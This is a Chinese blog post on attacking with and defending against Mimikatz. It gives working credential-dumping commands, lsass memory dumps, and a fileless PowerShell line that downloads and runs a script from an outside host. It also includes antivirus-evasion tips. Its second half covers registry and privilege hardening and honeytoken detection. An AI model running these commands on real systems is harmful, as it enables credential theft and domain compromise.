Mimikatz的攻击及防御

Mimikatz的攻击及防御

Mimikatz的简介:

    Mimikatz为法国人Benjamin Delpy编写的一款轻量级的调试工具,在内网渗透过程中,它多数时候是作为一款抓取用户口令的工具。然而Mimikatz其实并不只有抓取口令这个功能,它还能够创建票证、票证传递、hash传递、甚至伪造域管理凭证令牌。

Mimikatz功能介绍:

CRYPTO::Certificates  – 列出/导出凭证。  
KERBEROS::Golden – 创建黄金票证/白银票证/信任票证。  
KERBEROS::List – 列出在用户的内存中所有用户的票证(TGT 和 TGS)。  
KERBEROS::PTT – 票证传递。  
LSADUMP::DCSync – 向 DC 发起同步一个对象(获取帐户的密码数据)的质询。  
LSADUMP::LSA – 向 LSA Server 质询检索 SAM/AD 的数据(正常或未打补丁的情况下)。可以从 DC 或者是一个lsass.dmp的转储文件中  
导出所有的Active Directory 域凭证数据。同样也可以获取指定帐户的凭证,如 krbtgt 帐户,使用 /name 参数,如:“/name:krbtgt”。
LSADUMP::SAM - 获取 SysKey 来解密 SAM 的项目数据(从注册表或者 hive 中导出)SAM 选项。可以连接到本地安全帐户管理器(SAM)  
数据库中并能转储本地帐户的凭证。可以用来转储在 Windows 计算机上的所有的本地凭据。  
LSADUMP::Trust - 向 LSA Server 质询来获取信任的认证信息(正常或未打补丁的情况下)为所有相关的受信的域或林转储信任密钥(密码)
MISC::AddSid – 将用户帐户添加到 SID 历史记录。第一个值是目标帐户,第二值是帐户/组名(可以是多个或 SID )。  
MISC::MemSSP – 注入恶意的 Wndows SSP 来记录本地身份验证凭据。  
MISC::Skeleton – 在 DC 中注入万能钥匙(Skeleton Key) 到 LSASS 进程中。这使得所有用户所。  
使用的万能钥匙修补 DC 使用 “主密码” (又名万能钥匙)以及他们自己通常使用的密码进行身份验证。  
PRIVILEGE::Debug – 获得 Debug 权限(很多 Mimikatz 命令需要 Debug 权限或本地 SYSTEM 权限)。  
SEKURLSA::Ekeys – 列出 Kerberos 密钥  
SEKURLSA::Kerberos – 列出所有已通过认证的用户的 Kerberos 凭证(包括服务帐户和计算机帐户)。  
SEKURLSA::Krbtgt – 获取域中 Kerberos 服务帐户(KRBTGT)的密码数据。  
SEKURLSA::LogonPasswords – 列出所有可用的提供者的凭据。这个命令通常会显示最近登录过的用户和最近登录过的计算机的凭证。  
SEKURLSA::Pth – Hash 传递 和 Key 传递(注:Over-Pass-the-Hash 的实际过程就是传递了相关的 Key(s))。  
SEKURLSA::Tickets – 列出最近所有已经过身份验证的用户的可用的 Kerberos 票证,包括使用用户帐户的上下文运行的服务和本地计算机  
在AD 中的计算机帐户。与 kerberos::list 不同的是 sekurlsa 使用内存读取的方式,它不会受到密钥导出的限制。  
TOKEN::List – 列出系统中的所有令牌。  
TOKEN::Elevate – 假冒令牌。用于提升权限至 SYSTEM 权限(默认情况下)或者是发现计算机中的域管理员的令牌。  
TOKEN::Elevate /domainadmin – 假冒一个拥有域管理员凭证的令牌。  

Mimikatz的多种利用方式

一般的执行方式

privilege::debug - 提升权限(注:需以管理员权限运行)
1.png
sekurlsa::logonpasswords - 获取内存中保存的登录信息(注:当系统为win10或者2012R2以上,内存中默认禁止缓存明文密码
可以通过修改注册表的方式进行抓取,但是需要目标机重启后,重新登录的时候才能进行抓取。)
2.png

使用powershell运行Mimikatz

powershell -exec bypass "import-module ./Invoke-Cats.ps1;Invoke-Cats -pwds" (直接使用ps1脚本执行,
此方法和上面执行EXE文件一样,如果没做特殊处理,很容易被杀软杀掉。)
3.png
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('http://1.1.1.1/Invoke-Cats.ps1');Invoke-Cats -pwds"
(该方法利用powershell将mimikatz直接加载到内存中执行,可以达到文件不落地,过部分杀软的效果。)
4.png

使用cscript运行Mimikatz

cscript katz.js ('注:该JS版Mimikatz已被各大杀软标记极易被杀,但是JS版过杀软也很简单,  
简单混淆之后便可实现免杀,此次演示中的该脚本已过杀软')
5.png

使用.NET 2.0 执行Mimikatz

在powershell中执行
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0l
LEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9
TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQp
J+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHG
GRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcac
yYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypw
mFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte
csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:regsvcs.dll /keyfile:key.snk
/unsafe katz.cs
regsvcs.exe regsvcs.dll
6.png
7.png

使用.NET 4.0 执行Mimikatz

MSBuild katz.xml
8.png

使用wmic执行xsl版Mimikatz

9.png

lsass内存转储

在任务管理中找到lsass.exe,将其转储出来。使用mimikatz离线导出信息。
10.jpg
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
1568876703.png

使用procdump导出lsass内存(mysqldump也可以实现该功能)

procdump64.exe -accepteula -ma lsass.exe lsass.dmp
11.png

<center>Mimikatz的防御措施</center>

禁止Debug Privilege

Debug Privilege 允许以特权用户启动的程序去调试本地系统运行的服务。如下图默认为Administrator
12.png
通过将 Debug Privilege 置空并重启服务器使其生效,再次使用 Mimikatz 的时候就会发现无法利用了。
13.png

WDigest

WDigest 是windows在XP系统中应用的,其作用主要是与超文本传输协议(HTTP)和简单的身份验证安全层(SASL)一起交换使用。而Digest与NTLM协议类似,也是挑战认证协议。
简单说就是:
1.客户端向服务端发起认证请求。
2.服务端返回一个随机值、客户端利用内存中的密码与客户端名,域名等信息计算一个值并发送至服务端。
3.服务端也利用相同方式计算一个值如果与客户端相同则认证成功。
在win 7 和 2008 r2 之前都是默认开启Wdigest且无法禁用,需要额外安装KB 2871997补丁(但是WIN7以及08以后的系统中微软都默认禁止了Wdigest协议)。
如下图所示(该系统为2008),在注册表WDigest中并没有 (UseLogonCredential)所以可以成功抓取到明文密码。
14.png
当安装完 KB 2871997 补丁后,需要使用以下命令
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0
来修改注册表。修改完毕后重新运行mimikatz就已经无法抓取明文密码了。
16.png

Domain Cached Credentials

Domain Cached Credentials 简称 DDC,也叫 mscache。有两个版本,XP/2003 年代的叫第一代,Vasta/2008 之后的是第二代。
计算机在加入域之后就得通过 kerberos 进行认证,通过 kerberos 认证就得有域控的参与,但是如果域成员暂时无法访问到域控的话,岂不是无法认证了?域凭证缓存就是为了解决这个问题的。如果暂时访问不到域控,windows 就尝试使用本机缓存的凭证进行认证,默认缓存十条。(引用:Mimikatz 攻防杂谈)
所以如果我们去修改默认缓存次数为0次,可能在一定程度上预防Mimikatz的攻击。
17.png

利用伪造的域用户检测Mimikatz攻击

利用工具将虚假的域账户写入到域内服务器的内存中,当此类服务器受到mimikatz的攻击时,
攻击者将会获取到我们投递的虚假账户信息,一但攻击者利用这些信息去登录域内机器的时候,我们便可以再IDS等监控设备上捕获到攻击。
18.png

总结

    Mimikatz的攻击手法多样,变种繁多,要完全防御Mimikatz也是比较困难的。但是如果我们通过多种方式结合使用,还是能对Mimikatz起到一定的防御效果。
    如果运维人员能够及时更新服务器操作系统,及时安装补丁,避免赋予账户过多管理权限,将重要账户加入保护组,域账户登录过的服务器一定要进行注销等操作,又或者投递虚假账户并进行监控等操作。这些在一定程度上还是能够有效的进行防御。

致谢

本文中很多利用方式及防御手段参考了以下文章。在这里感谢这些前辈的优秀文章。
https://www.freebuf.com/articles/web/176796.html
https://mp.weixin.qq.com/s/BrQo_UnyStgAn-XyUBsamQ
https://github.com/SMAPPER/MimikatzHoneyToken/wiki/Customizing-MimikatzHoneyToken

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,588评论 6 496
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,456评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,146评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,387评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,481评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,510评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,522评论 3 414
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,296评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,745评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,039评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,202评论 1 343
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,901评论 5 338
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,538评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,165评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,415评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,081评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,085评论 2 352

推荐阅读更多精彩内容